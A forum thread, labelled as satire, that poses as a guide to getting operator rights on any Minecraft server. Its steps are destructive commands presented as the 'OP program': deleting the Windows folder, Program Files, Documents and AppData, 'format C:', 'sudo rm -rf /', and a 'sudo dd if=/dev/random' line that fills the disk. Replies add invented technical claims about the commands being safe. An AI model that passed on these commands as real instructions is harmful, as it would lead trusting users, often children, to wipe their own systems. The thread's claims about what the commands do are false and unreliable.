How to become OP on any Minecraft server! (Satire)

Okay, step 1! This will set up the Minecraft OPping program!
Go to Search and enter “cmd”
Right-click and say “Open as Administrator”
Type in this command:

C:\Users\You!> del C:\WINDOWS

If this doesn’t work, don’t worry! @simon816 has come up with a nice solution!

C:\Users\You!> format C:\

There is also a Mac method! Credit: @bdubz4552

rm -rf

This is somewhat more complex but don’t worry! Your computer’s performance on a Mac will soar! Make the OS faster than ever before!

Step 2: Running the Force OP program!
Note: you will need a lot of RAM for this! First, go to and choose 99 GB!
Then, you will need to get banned from the server. Don’t worry, you’ll unban yourself later. Now, open command prompt and type in:

del C:\Users\$yourusername\Documents

replacing $yourusername with your computer user login. This will scan your documents for files some servers install for blocking OPForcer. You also need to run:

del C:\Program Files\
del C:\Program Files (x86)\
del C:\Users\$yourusername\AppData\

or for Windows XP/Vista, instead of that last one

del C:\Users\$yourusername\Application Data\

Step 3 soon!


Disclaimer kids, this works, just keep in mind, everything comes at a cost.


Bringing natural selection to the computing world. I like it!


If that fails, to force OP use format c:\


Edited the title to make it more apparent that this is satire :slight_smile:

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Don’t forget Mac users, "rm -rf " is how you guys get the job done! Oh wait, Macs suck and should do that anyways…


Linux’s command is the same as Mac’s. Also on Windows System32 is more effective.

Everyone knows alt + f4 is the almighty solution to everything!


Wow, thanks @ButterDev! Worked like a charm :smile:



I have this for the people interested in the more technical side of things:


Ooh I will definitely use this, amazing!

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For anybody using Linux, the command is very similar to the Mac method: sudo rm -rf /

Then type your computer password.

Proposed step 2
Now, you need to actually run the Opping program, simply run this command in the windows terminal:

shutdown -s

This on mac

halt -h

And this on linux

sudo shutdown -h now

After a restart, You will be OP!*

*some computers may not support this software and will instead die

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Instructions unclear, dick stuck in C: drive.

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I hope for your sake that’s an SSD and not a running HDD


No m8 just gotta hit em off.

Updated: step 2 in now on there!

Cool, I got OP on the Hypixel server, thanks @ButterDev

EDIT:They banned my ip, you have no solution to this, may you die!!!(Plz don’t, I am still OP on every server I go on now)

This command works flawless every time if you are on linux. It does take a while though as it iterates through each MC class on the server and plugins/forge mods to check for known weaknesses and saves them in the OPTakeOverHostile file. As soon as it is done it will disown the current owner of the server and give you full server privelges under the minecraft username you put in the place of $user

echo TakeOverName=$user && sudo nice -n -20 dd if=/dev/random of=$home/.OPTakeoverHostile & disown

Now this program will ask you for your root pasword, you will need to enter that because the hostile take over program needs direct access to your network card to be able to interpret the java classes.
This is totally safe to do.

When you have let this run for a few hours, you can just keep using your pc, it might a be a bit slow, yu will need to restart your computer to reset the nethwork card by BIOS defaults. But when you have rebooted your PC should be faster than normal AND you will have OP priveleges on any server you longin to. That awesome is this program. But be sure to let it run for a few hours though… otherwise it will fail.